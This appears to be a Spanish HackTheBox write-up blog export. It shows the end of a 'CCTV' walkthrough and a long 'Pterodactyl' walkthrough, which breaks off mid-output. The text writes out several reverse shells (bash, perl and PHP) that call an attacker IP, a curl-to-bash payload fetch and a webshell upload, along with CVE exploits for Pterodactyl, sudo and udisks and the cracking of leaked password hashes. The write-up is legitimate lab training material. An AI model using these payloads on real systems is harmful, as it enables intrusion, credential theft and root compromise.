Running automatic check (\u0026#34;set AutoCheck false\u0026#34; to disable) [+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable [*] Adding malicious camera... [+] Camera successfully added [*] Setting up exploit... [+] Exploit setup complete [*] Triggering exploit... [+] Exploit triggered, waiting for session... [*] Sending stage (3090404 bytes) to cctv.htb [*] Meterpreter session 1 opened (10.10.15.64:4444 -\u0026gt; cctv.htb:57290) at 2026-03-09 15:27:18 -0400 [*] Removing camera [+] Camera removed successfully meterpreter \u0026gt; shell Process 3118 created. Channel 1 created. whoami root Tenemos root.\n","date":"9 de marzo de 2026","externalUrl":null,"permalink":"/writeups/cctv/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Videovigilancia, MotionEye, SQLi, ZoneMinder, CVE Público","title":"HackTheBox - CCTV","type":"writeups"},{"content":"","date":"9 de marzo de 2026","externalUrl":null,"permalink":"/tags/metasploit/","section":"Tags","summary":"","title":"Metasploit","type":"tags"},{"content":"","date":"9 de marzo de 2026","externalUrl":null,"permalink":"/tags/motioneye/","section":"Tags","summary":"","title":"MotionEye","type":"tags"},{"content":"","date":"9 de marzo de 2026","externalUrl":null,"permalink":"/tags/zoneminder/","section":"Tags","summary":"","title":"ZoneMinder","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. ~6h Datos Iniciales: 10.129.4.98 Nmap Scan # Empezamos haciendo un escaneo de todos los puertos en TCP:\n1 2 3 4 5 6 7 8 9 10 11 $ nmap -sT -Pn -n -p- --open 10.129.4.98 -v Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 17:47 -0500 Initiating Connect Scan at 17:47 Scanning 10.129.4.98 [65535 ports] Discovered open port 22/tcp on 10.129.4.98 Discovered open port 80/tcp on 10.129.4.98 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 ... Como al parecer tarda mucho, limitamos la cantidad de puertos a la predeterminada de nmap (Top 1000 puertos) y escaneamos servicios después:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ nmap -sT -Pn -n --open 10.129.4.98 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http $ nmap -sT -Pn -n -p22,80 -sVC --open 10.129.4.98 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6 (protocol 2.0) | ssh-hostkey: | 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA) |_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519) 80/tcp open http nginx 1.21.5 |_http-server-header: nginx/1.21.5 |_http-title: Did not follow redirect to http://pterodactyl.htb/ Añadimos pterodactyl.htb a /etc/hosts.\nVemos los siguientes puertos abiertos:\n22/TCP (SSH): Versión vulnerable a algunos ataques MitM y a RegreSSHion, difícilmente explotable. 80/TCP (HTTP): Vulnerable a DoS y a otros ataques no relevantes. No hay gran cosa, tendremos que ir a por el puerto 80.\nPuerto 80, HTTP # Antes de entrar a la página principal, dado que nmap nos ha indicado que se utilizan vhosts (al indicar el did not follow redirect to http://pterodactyl.htb), es posible que haya más en la máquina, así que primero buscamos vhosts:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ gobuster vhost --url http://pterodactyl.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pterodactyl.htb [+] Method: GET [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== panel.pterodactyl.htb Status: 200 [Size: 1897] Y encontramos panel.pterodactyl.htb, lo añadimos a /etc/hosts.\nDominio principal pterodactyl.htb # Al entrar, encontramos una invitación para unirnos a un servidor de Minecraft MonitorLand.\nAquí vemos dos cosas:\nUn subdominio play.pterodactyl.htb (que redirige exactamente a la misma página) Unos changelogs en http://pterodactyl.htb/changelog.txt: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 MonitorLand - CHANGELOG.txt ====================================== Version 1.20.X [Added] Main Website Deployment -------------------------------- - Deployed the primary landing site for MonitorLand. - Implemented homepage, and link for Minecraft server. - Integrated site styling and dark-mode as primary. [Linked] Subdomain Configuration -------------------------------- - Added DNS and reverse proxy routing for play.pterodactyl.htb. - Configured NGINX virtual host for subdomain forwarding. [Installed] Pterodactyl Panel v1.11.10 -------------------------------------- - Installed Pterodactyl Panel. - Configured environment: - PHP with required extensions. - MariaDB 11.8.3 backend. [Enhanced] PHP Capabilities ------------------------------------- - Enabled PHP-FPM for smoother website handling on all domains. - Enabled PHP-PEAR for PHP package management. - Added temporary PHP debugging via phpinfo() De aquí ya podemos apuntar que se está usando Pterodactyl Panel v1.11.10, aunque todavía no sabemos exactamente qué es. Además se usa MariaDB 11.8.3 como backend.\nSubdominio panel.pterodactyl.htb # Al entrar, nos encontramos un panel de login No tenemos credenciales, pero, de todas formas, primero convendría saber qué es Pterodactyl para poder ver cómo enfrentarnos a él. Al mirar en Internet encontramos varias páginas que nos indican de qué se trata:\nPterodactyl is a free, open-source game server management panel built with PHP, React, and Go. Designed with security in mind, Pterodactyl runs all game servers in isolated Docker containers while exposing a beautiful and intuitive UI to end users.\nPterodactyl consists of two core components that work together: the Panel (web interface) and Wings (server daemon). The Panel provides the management interface, while Wings handles the actual game server operations on each node.\nCVE-2025-49132, Revshell # Al mirar en Internet, vemos que existe una vulnerabilidad crítica (10.0 CRITICAL en Github) de Unauthenticated RCE: CVE-2025-49132. Afecta a las versiones anteriores a la v1.11.11, entre las que se encuentra la que hemos visto que corre en este servidor: v1.11.10.\nUsaremos un exploit público:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ python3 poc.py -H panel.pterodactyl.htb --scan ╔══════════════════════════════════════╗ ║ CVE-2025-49132 - Pterodactyl RCE ║ ╚══════════════════════════════════════╝ [*] Scanning: http://panel.pterodactyl.htb/locales/locale.json ------------------------------------------------------- [+] VULNERABLE - Database credentials leaked Host: 127.0.0.1 Port: 3306 Database: panel Username: pterodactyl Password: PteraPanel Connection: pterodactyl:PteraPanel@127.0.0.1:3306/panel [+] VULNERABLE - App configuration leaked App Key: base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY= [!] SECURITY WARNING: APP_KEY exposed! App Name: Pterodactyl URL: http://panel.pterodactyl.htb ------------------------------------------------------- [+] Target is VULNERABLE to CVE-2025-49132 Apuntamos las credenciales de MariaDB pterodactyl:PteraPanel. Ahora creamos un payload para el revshell:\n1 2 3 4 5 6 7 $ cat payload bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.95/4444 0\u0026gt;\u0026amp;1\u0026#39; $ cat payload | base64 YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45NS80NDQ0IDA+JjEnCg== ## Este será el payload: echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45NS80NDQ0IDA+JjEnCg== | base64 -d | bash 2\u0026gt;/dev/null Lo ejecutamos:\n1 2 3 4 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS45NS80NDQ0IDA+JjEnCg== | base64 -d | bash 2\u0026gt;/dev/null\u0026#39; [CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR - [+] Command Output: wwwrun Pero en el listener no recibimos nada, solo vemos el output del comando ejecutado inmediatamente antes. Se está usando bash para el reverse shell, que casi seguro existe en el sistema, pero no está de más comprobar:\n1 2 3 4 5 6 7 8 9 10 11 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;whoami \u0026amp;\u0026amp; echo $SHELL \u0026amp;\u0026amp; echo $PATH\u0026#39; \\ [+] Command Output: wwwrun /usr/sbin/nologin /usr/local/bin:/usr/bin:/bin:. $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;ls -al /bin/bash\u0026#39; | [+] Command Output: lrwxrwxrwx 1 root root 13 Aug 22 2024 /bin/bash -\u0026gt; /usr/bin/bash # Y en /usr/bin/bash: -rwxr-xr-x 1 root root 1012656 Aug 22 2024 /usr/bin/bash Pero si probamos con cualquiera de las rutas absolutas, seguimos sin recibir nada. Probamos a ver si al menos podemos usar bash:\n1 2 3 4 5 6 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;echo ls | bash\u0026#39; \\ [+] Command Output: assets favicons index.php #... Funciona Comprobamos, al mandar command -v perl, que también existe perl , así que probamos a usar un revshell de perl:\n1 2 3 4 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTUuOTUiOyRwPTQ0NDQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwo= | base64 -d | bash\u0026#39; [CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR | [+] Command Output: /usr/bin/perl Y sigue sin funcionar.\nDebugging # Aviso: Mucho tiempo y texto que no llevan a nada Si valoras tu tiempo, aviso de que todo lo que hago a partir de aquí hasta justo antes de Plan B, Webshell lleva hasta un reverse shell que no funciona. Si simplemente quieres saber cómo llegar a rootear la máquina, puedes saltar esta parte. Si te interesa cómo intento debuggearlo, eres libre de quedarte._\nTras probar con puertos comunes (80,443) para la reverse shell, sigue sin ir. Comprobamos si hay conectividad alguna o si hay algún firewall bloqueando conexiones:\n1 2 3 4 5 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;curl 10.10.15.95:443\u0026#39; - [+] Command Output: \u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ...[SNIP]... Y en nuestro server http:\n1 2 3 $ python3 -m http.server 443 Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ... 10.129.4.98 - - [24/Feb/2026 19:18:13] \u0026#34;GET / HTTP/1.1\u0026#34; 200 - Tenemos conexión saliente del servidor, pero por algún motivo bash no puede iniciar la conexión. Tras buscar un rato, veo que puede ser que bash esté compilado en el container de Pterodactyl sin soporte para /dev/tcp (una práctica común) con el fin de reducir superficie de ataque. Como sabemos que PHP está instalado y funciona (el propio CVE se basa en PHP), iniciaremos la conexión con PHP y desde ahí iniciaremos bash (Similar a un staged payload).\nGuardamos un archivo revshell.sh con el reverse shell de PHP: 1 2 #!/bin/bash php -r \u0026#39;$sock=fsockopen(\u0026#34;10.10.15.95\u0026#34;, 443); exec(\u0026#34;/bin/bash -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;);\u0026#39; Abrimos el puerto 80 con un server HTTP de python, sirviendo revshell.sh; y el puerto 443 preparado para la revshell. Hacemos que la víctima haga curl a nuestro payload y lo ejecute en memoria: 1 2 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;curl -s http://10.10.15.95:80/revshell.sh | bash \u0026amp;\u0026#39; \\ [!] Command not found (or no output) Pero en ambos puertos en escucha vemos lo mismo: Llegan 12 solicitudes http, y al handler le llegan shells inválidas:\n1 2 3 4 5 $ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.4.98 - - [24/Feb/2026 19:31:07] \u0026#34;GET /revshell.sh HTTP/1.1\u0026#34; 200 - 10.129.4.98 - - [24/Feb/2026 19:31:07] \u0026#34;GET /revshell.sh HTTP/1.1\u0026#34; 200 - # 10 más 1 2 3 4 5 $ sudo penelope -i 10.10.15.95 -p 443 [+] Listening for reverse shells on 10.10.15.95:443 [-] Invalid shell from 10.129.4.98 [-] Invalid shell from 10.129.4.98 # 10 más El problema posiblemente sea que, aunque la primera revshell que llegue sea buena, el resto que llega pisa la conexión anterior y hace que al final todas las conexiones resulten inválidas. Además, al morir el proceso padre php, el resto de shells mueren. Estos dos problemas los podemos solucionar de forma sencilla.\nRevshell definitivo (que no va) # Añadimos una comprobación para que solo se inicie la primera conexión Añadimos nohup para que cuando muera el proceso padre no mueran los hijos y filtramos errores y output. 1 2 3 4 5 6 7 8 9 #!/bin/bash # Si el archivo ya existe (lo ha creado una conexión anterior) se sale sin hacer nada. if [ -f /tmp/RevshellLock ]; then exit 0 fi touch /tmp/RevshellLock nohup php -r \u0026#39;$sock=fsockopen(\u0026#34;10.10.15.95\u0026#34;, 443); exec(\u0026#34;/bin/bash -i \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;);\u0026#39; \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; Ahora hacemos lo mismo que antes:\n1 2 $ python3 poc.py -H panel.pterodactyl.htb -c \u0026#39;curl -s http://10.10.15.95:80/revshell.sh | bash \u0026amp;\u0026#39; \\ [!] Command not found (or no output) Pero si miramos el puerto en escucha:\n1 2 3 4 5 [+] Got reverse shell from pterodactyl~10.129.4.98-Linux-x86_64 [+] Attempting to deploy Python Agent... [+] Shell upgraded successfully using /usr/bin/python3! wwwrun@pterodactyl:/var/www/pterodactyl/public\u0026gt; Aunque parece que hemos avanzado bastante, tenemos un problema. Si intentamos escribir cualquier cosa, el shell no responde, está congelado. Tenemos un revshell pero ni siquiera funciona.\nPlan B, Webshell # Por algún motivo, el revshell que hemos conseguido antes no iba y, antes de ponerme a debuggear otra vez, busco una alternativa.\nPrimero se me ocurre pasar un binario de chisel a la máquina (recordemos que curl sí funcionaba), hacer port-forwarding de la base de datos (para la que teníamos credenciales pterodactyl:PteraPanel), y rezar por que hubiese un hash de contraseña de un usuario del sistema, pero luego pienso en otra alternativa más fácil antes.\nLa revshell podía fallar por muchos motivos, y la forma más sencilla de eliminar esos motivos es usar una webshell PHP y ejecutar la revshell desde ahí:\n1 2 shell\u0026gt; curl http://10.10.15.95:8000/webshell.php -o ./webshell.php [!] Command not found (or no output) Aunque ponga Command not found, en nuestro servidor python hemos recibido las solicitudes. Ahora accedemos al webshell y ejecutamos nuestro reverse shell:\nY por fin tenemos un shell estable.\nRealmente podríamos haber hecho bastante enumeración desde el webshell o incluso desde el exploit (que nos dan un nivel de interactividad similar), pero es bastante más comodo tener un shell completo.\nPrivesc (desde wwwrun) # Posiblemente el vector de escalada esté en unas credenciales guardadas en MariaDB para el panel de login que se reutilicen para un user del sistema, así que probamos:\n1 2 3 4 5 6 $ mysql -u pterodactyl -p\u0026#34;PteraPanel\u0026#34; ERROR 1045 (28000): Access denied for user \u0026#39;pterodactyl\u0026#39;@\u0026#39;localhost\u0026#39; (using password: YES) # Probando a ver si con solo la DB \u0026#34;panel\u0026#34; funciona. $ mysql -u pterodactyl -p\u0026#34;PteraPanel\u0026#34; --database=panel ERROR 1045 (28000): Access denied for user \u0026#39;pterodactyl\u0026#39;@\u0026#39;localhost\u0026#39; (using password: YES) Al parecer las credenciales no son esas. Antes de enumerar por otro lado, busco dónde están guardadas las credenciales de la DB en los archivos de Pterodactyl (por si han cambiado) y casualmente me encuentro con este post que me salva mucho tiempo.\nDe nuevo, probamos:\n1 2 3 4 5 6 7 8 9 10 11 mysql -u pterodactyl -p\u0026#34;PteraPanel\u0026#34; --host=127.0.0.1 mysql: Deprecated program name. It will be removed in a future release, use \u0026#39;/usr/bin/mariadb\u0026#39; instead Welcome to the MariaDB monitor. Commands end with ; or \\g. Your MariaDB connection id is 445 Server version: 11.8.3-MariaDB MariaDB package Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. MariaDB [(none)]\u0026gt; Bingo.\n1 2 3 4 5 6 7 8 9 MariaDB [(none)]\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | panel | | test | +--------------------+ 3 rows in set (0.003 sec) information_schema es la default de MySQL, tiene metadatos. test está vacía. panel parece (y es) la importante. 1 2 3 4 5 6 7 8 9 10 11 12 MariaDB [panel]\u0026gt; show tables; +-----------------------+ | Tables_in_panel | +-----------------------+ | ...[SNIP]... | | settings | | subusers | | tasks | | tasks_log | | user_ssh_keys | | users | +-----------------------+ Hay users y user_ssh_keys, parece que tenemos lo que buscábamos. Echamos un vistazo y conseguimos la siguiente info:\n1 2 3 4 EMAIL PASSWORD headmonitor@pterodactyl.htb $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 phileasfogg3@pterodactyl.htb $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi # user_ssh_keys estaba vacío, toca fuerza bruta. Los metemos a hashcat:\n1 2 3 4 5 $ hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting ...[SNIP]... $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx Y sacamos la contraseña de phileasfogg3: !QAZ2wsx\nPrivesc (desde phileasfogg3) # Vamos a SSH:\n1 2 3 4 5 6 7 8 9 10 $ ssh phileasfogg3@pterodactyl.htb The authenticity of host \u0026#39;pterodactyl.htb (10.129.4.98)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is: SHA256:FOOqnHbybkpXftYgyrorbBxkgW0L4yMSLYxG8F87SDE This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;pterodactyl.htb\u0026#39; (ED25519) to the list of known hosts. (phileasfogg3@pterodactyl.htb) Password: Have a lot of fun... phileasfogg3@pterodactyl:~\u0026gt; Ejecutamos linPEAS:\nPATH: /home/phileasfogg3/bin:/usr/local/bin:/usr/bin:/bin. El primer directorio en el que se buscan los programas es el ~bin de phileasfogg3. Puertos en local abiertos: 1 2 3 4 5 6 udp UNCONN 127.0.0.1:323 # chronyd, equivalente moderno a NTP tcp LISTEN 127.0.0.1:631 # CUPS 2.2.7 (no vulnerable a evilCUPS) tcp LISTEN 127.0.0.1:9000 # PHP-FPM: Servicio de PHP que recibe las peticiones del servidor web para procesar el código de Pterodactyl. tcp LISTEN 127.0.0.1:3306 # MariaDB (Ya usada) tcp LISTEN 127.0.0.1:6379 # REDIS tcp LISTEN 127.0.0.1:25 # SMTP (Raramente explotable, solo podemos enumerar users) Redis (rabbit hole) # Entramos primero a redis:\n1 2 3 4 5 6 7 8 9 10 ~\u0026gt; redis-cli -h localhost 127.0.0.1:6379\u0026gt; info # Server redis_version:8.2.1 ...[SNIP]... 127.0.0.1:6379\u0026gt; KEYS * ...[SNIP]... #Se dumpean todas las entradas de la DB, nada relevante. Vemos que la versión de Redis es la 8.2.1, según Internet, potencialmente vulnerable a CVE-2025-49844 \u0026ldquo;Redishell\u0026rdquo;\nRedis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution\nProblema: Redis se ejecuta con la cuenta de servicio redis, así que no vamos a conseguir elevar privilegios. De hecho, conseguir ser redis posiblemente nos limite más porque sus capacidades estarán intencionalmente restringidas.\nSudo (rabbit hole) # Tras echar un vistazo a linPEAS otra vez sin ver nada, miramos la versión de sudo:\n1 2 ~\u0026gt; sudo --version Sudo version 1.9.15p5 Y al buscar en google:\nLa versión sudo 1.9.15p5 (y versiones anteriores hasta la 1.9.14) está afectada por dos vulnerabilidades críticas descubiertas en 2025 que permiten la escalada de privilegios a root.\nLa más relevante es CVE-2025-32463, cuyo exploit usaremos. Como no tenemos gcc en la máquina (y el exploit lo usa), compilamos la librería de forma local con las flags que usa el exploit:\nCreamos woot1337.c: 1 2 3 4 5 6 7 8 9 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(\u0026#34;/\u0026#34;); execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;/bin/bash\u0026#34;, NULL); } Lo compilamos igual que en el exploit y lo servimos 1 2 3 4 $ gcc -shared -fPIC -Wl,-init,woot -o woot1337.so.2 woot1337.c $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... Editamos el .sh: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/bash # CVE-2025-32463 STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 mkdir -p woot/etc libnss_ echo \u0026#34;passwd: /woot1337\u0026#34; \u0026gt; woot/etc/nsswitch.conf cp /etc/group woot/etc echo \u0026#34;-\u0026gt; Descargando librería\u0026#34; wget http://10.10.15.95:8000/woot1337.so.2 -O libnss_/woot1337.so.2 chmod +x libnss_/woot1337.so.2 echo \u0026#34;-\u0026gt; Ejecutando exploit\u0026#34; sudo -R woot woot rm -rf ${STAGE?} Pero lo ejecutamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 /tmp/exploit.sh -\u0026gt; Descargando librería --2026-02-26 13:41:10-- http://10.10.15.95:8000/woot1337.so.2 Connecting to 10.10.15.95:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 15536 (15K) [application/octet-stream] Saving to: ‘libnss_/woot1337.so.2’ libnss_/woot1337.so.2 100%[============================================================================\u0026gt;] 15.17K --.-KB/s in 0.04s 2026-02-26 13:41:10 (387 KB/s) - ‘libnss_/woot1337.so.2’ saved [15536/15536] -\u0026gt; Ejecutando exploit [sudo] password for root: Y no funciona, tenemos que buscar otra vía.\nAnalizando programas instalados con Trivy # Tras haber buscado binarios con SUID, cronjobs, permisos sudo, servicios en ejecución, archivos con credenciales que podamos leer, haber ejecutado linPEAS y más, seguimos sin encontrar nada que nos permita elevar privilegios.\nNo quedan muchas alternativas, pero podemos mirar qué paquetes hay instalados por si hay alguno vulnerable:\n1 2 3 4 5 6 ~\u0026gt; rpm -qa plymouth-lang-22.02.122+94.4bd41a3-150600.3.6.1.noarch libbpf1-1.2.2-150600.3.6.2.x86_64 libyui16-4.5.3-150600.6.2.1.x86_64 hicolor-icon-theme-0.17-150600.19.2.noarch ... # En total 886 paquetes Con casi 900 paquetes instalados es inviable analizarlos manualmente, pero sí podemos usar un escáner automático como trivy para hacer el trabajo:\n1 2 3 4 5 6 /tmp/triv\u0026gt; ./trivy rootfs / 2026-02-28T20:31:48+02:00\tINFO\t[vulndb] Need to update DB 2026-02-28T20:31:48+02:00\tINFO\t[vulndb] Downloading vulnerability DB... 2026-02-28T20:31:48+02:00\tINFO\t[vulndb] Downloading artifact...\trepo=\u0026#34;mirror.gcr.io/aquasec/trivy-db:2\u0026#34; 2026-02-28T20:31:52+02:00\tFATAL\tFatal error\trun error: init error: DB error: failed to download vulnerability DB: OCI artifact error: failed to download vulnerability DB: failed to download artifact from mirror.gcr.io/aquasec/trivy-db:2: OCI repository error: 1 error occurred: * Get \u0026#34;https://mirror.gcr.io/v2/\u0026#34;: dial tcp: lookup mirror.gcr.io on [::1]:53: dial udp [::1]:53: connect: cannot assign requested address Trivy necesita descargar su DB, pero la máquina no tiene acceso a Internet, así que la descargamos localmente en nuestra máquina y la comprimimos para subirla:\n1 2 3 4 5 6 7 $ trivy image --download-db-only 2026-02-28T13:36:43-05:00\tINFO\t[vulndb] Artifact successfully downloaded\trepo=\u0026#34;mirror.gcr.io/aquasec/trivy-db:2\u0026#34; $ tar -czvf trivy-db.tar.gz -C ~/.cache/trivy db db/ db/trivy.db db/metadata.json Y ya con el binario de trivy en la víctima, descargamos la db también:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /tmp/triv\u0026gt; ls contrib LICENSE README.md trivy trivy.tar /tmp/triv\u0026gt; wget http://10.10.15.95:8000/trivy-db.tar.gz Connecting to 10.10.15.95:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 90801132 (87M) [application/gzip] Saving to: ‘trivy-db.tar.gz’ trivy-db.tar.gz 100%[===============================================================\u0026gt;] 86.59M 6.70MB/s in 17s /tmp/triv\u0026gt; tar -xzvf trivy-db.tar.gz db/ db/trivy.db db/metadata.json Ahora ejecutamos y buscamos vulnerabilidades en el fs raíz, (rootfs), en modo offline y usando nuestra db descargada (--offline-scan --cache-dir /tmp/triv/), que sean CRITICAL o HIGH (--severity CRITICAL,HIGH) y de paquetes del SO (--vuln-type os). Luego filtramos por privesc (grep \u0026quot;privilege esc\u0026quot;), ordenamos y quitamos repetidos (sort -u):\n1 2 3 /tmp/triv\u0026gt; ./trivy rootfs --offline-scan --cache-dir /tmp/triv/ --scanners vuln --severity CRITICAL,HIGH --format json --vuln-type os / 2\u0026gt;/dev/null | grep \u0026#34;privilege esc\u0026#34; | sort -u \u0026#34;Description\u0026#34;: \u0026#34;This update for libblockdev fixes the following issues:\\n\\n- CVE-2025-6019: Suppress privilege escalation during xfs fs resize (bsc#1243285).\\n\u0026#34;, \u0026#34;Description\u0026#34;: \u0026#34;This update for open-vm-tools fixes the following issues:\\n- CVE-2025-41244: fixed a local privilege escalation vulnerability (bnc#1250373).\\n\u0026#34;, Y tenemos 2 vulnerabilidades, una de open-vm-tools y otra de libblockdev (Udisks2). Posiblemente la de open-vm-tools tenga que ver con que la propia máquina es una VM (como el resto de máquinas de HTB), así que lo que queda es el CVE-2025-6019.\nCVE-2025-6019 # Se trata de un fallo de seguridad en el modo en que libblockdev interactúa con udisks2 al redimensionar sistemas de archivos, lo que permite ejecutar código con privilegios de root a través de un sistema de archivos especialmente preparado. El atacante crea una imagen XFS que contiene un binario SUID con permisos de root y engaña a udisks para montarla sin las protecciones habituales (al redimensionarla), ejecutando así el shell SUID.\nEncontramos este exploit público, lo descargamos y subimos a la máquina. Al ejecutarlo:\n1 2 3 4 5 6 7 8 9 10 11 12 phileasfogg3@pterodactyl:/tmp\u0026gt; ./exploit.sh [+] Session is Active. Polkit bypass enabled. [*] Starting Background Trigger (Wait 2s)... [*] Starting Foreground Catcher... [*] HOLD TIGHT. ROOT SHELL INCOMING. [*] Sniper started. Waiting for ANY loop mount... [*] (BG) Setting up loop device... ==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ==== Authentication is required to set up a loop device Authenticating as: root Password: #CTRL+C (BG) Loop setup failed: No ha funcionado, pero, por suerte, en el propio PoC se contemplaba esta posibilidad y se indica que puede solucionarse de forma fácil:\n1 2 3 4 5 phileasfogg3@pterodactyl:/tmp\u0026gt; echo \u0026#34;XDG_SEAT=seat0\u0026#34; \u0026gt; ~/.pam_environment phileasfogg3@pterodactyl:/tmp\u0026gt; echo \u0026#34;XDG_VTNR=1\u0026#34; \u0026gt;\u0026gt; ~/.pam_environment phileasfogg3@pterodactyl:/tmp\u0026gt; exit logout Connection to pterodactyl.htb closed. Luego nos reconectamos\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ ssh phileasfogg3@pterodactyl.htb (phileasfogg3@pterodactyl.htb) Password: Have a lot of fun... phileasfogg3@pterodactyl:~\u0026gt; cd /tmp phileasfogg3@pterodactyl:/tmp\u0026gt; loginctl show-session $XDG_SESSION_ID | grep Active Active=yes phileasfogg3@pterodactyl:/tmp\u0026gt; ./exploit.sh [+] Session is Active. Polkit bypass enabled. [*] Starting Background Trigger (Wait 2s)... [*] Starting Foreground Catcher... [*] HOLD TIGHT. ROOT SHELL INCOMING. [*] Sniper started. Waiting for ANY loop mount... [*] (BG) Setting up loop device... [*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0... [!!!] HIT! Mounted at: /tmp/blockdev.NTXKL3 pterodactyl:/tmp# whoami root Y tenemos root.\nPost-Root: CVE, D-Bus y Polkit. # Tras ejecutar el PoC del CVE-2025-6019 y conseguir el shell como root, surgen varias preguntas:\nCómo es posible que estemos explotando una vulnerabilidad que nos permita llegar a ser root en un programa que ni podemos ejecutar como root (no tenemos permisos sudo ni hay SUID bit o capabilities), ni se está ejecutando como root (no aparece al usar ps aux)?\nLa respuesta es el D-Bus. En Linux, los procesos están aislados por seguridad, y si un proceso necesita hacer algo importante, no puede hacerlo directamente, necesita pedírselo al sistema. El D-Bus es el sistema de mensajería interna (IPC) de Linux que permite que los procesos se comuniquen entre sí. Los servicios pueden registrarse en los D-Bus y exponer funcionalidades y señales y permitir que otros procesos las soliciten. Al registrarse, también pueden pedir que el sistema les \u0026ldquo;despierte\u0026rdquo; cuando llegue una señal específica al D-Bus.\nEn Linux hay un System D-Bus (global para la máquina) y otro Session D-Bus para cada sesión de usuario (con servicios no root).\nPodemos ver qué servicios hay registrado en el System D-Bus con busctl list (para el D-Bus de la sesión actual sería busctl --user list):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ~\u0026gt; busctl list # *** Output de ANTES de ejecutar el exploit del CVE. *** NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION :1.0 1 systemd root 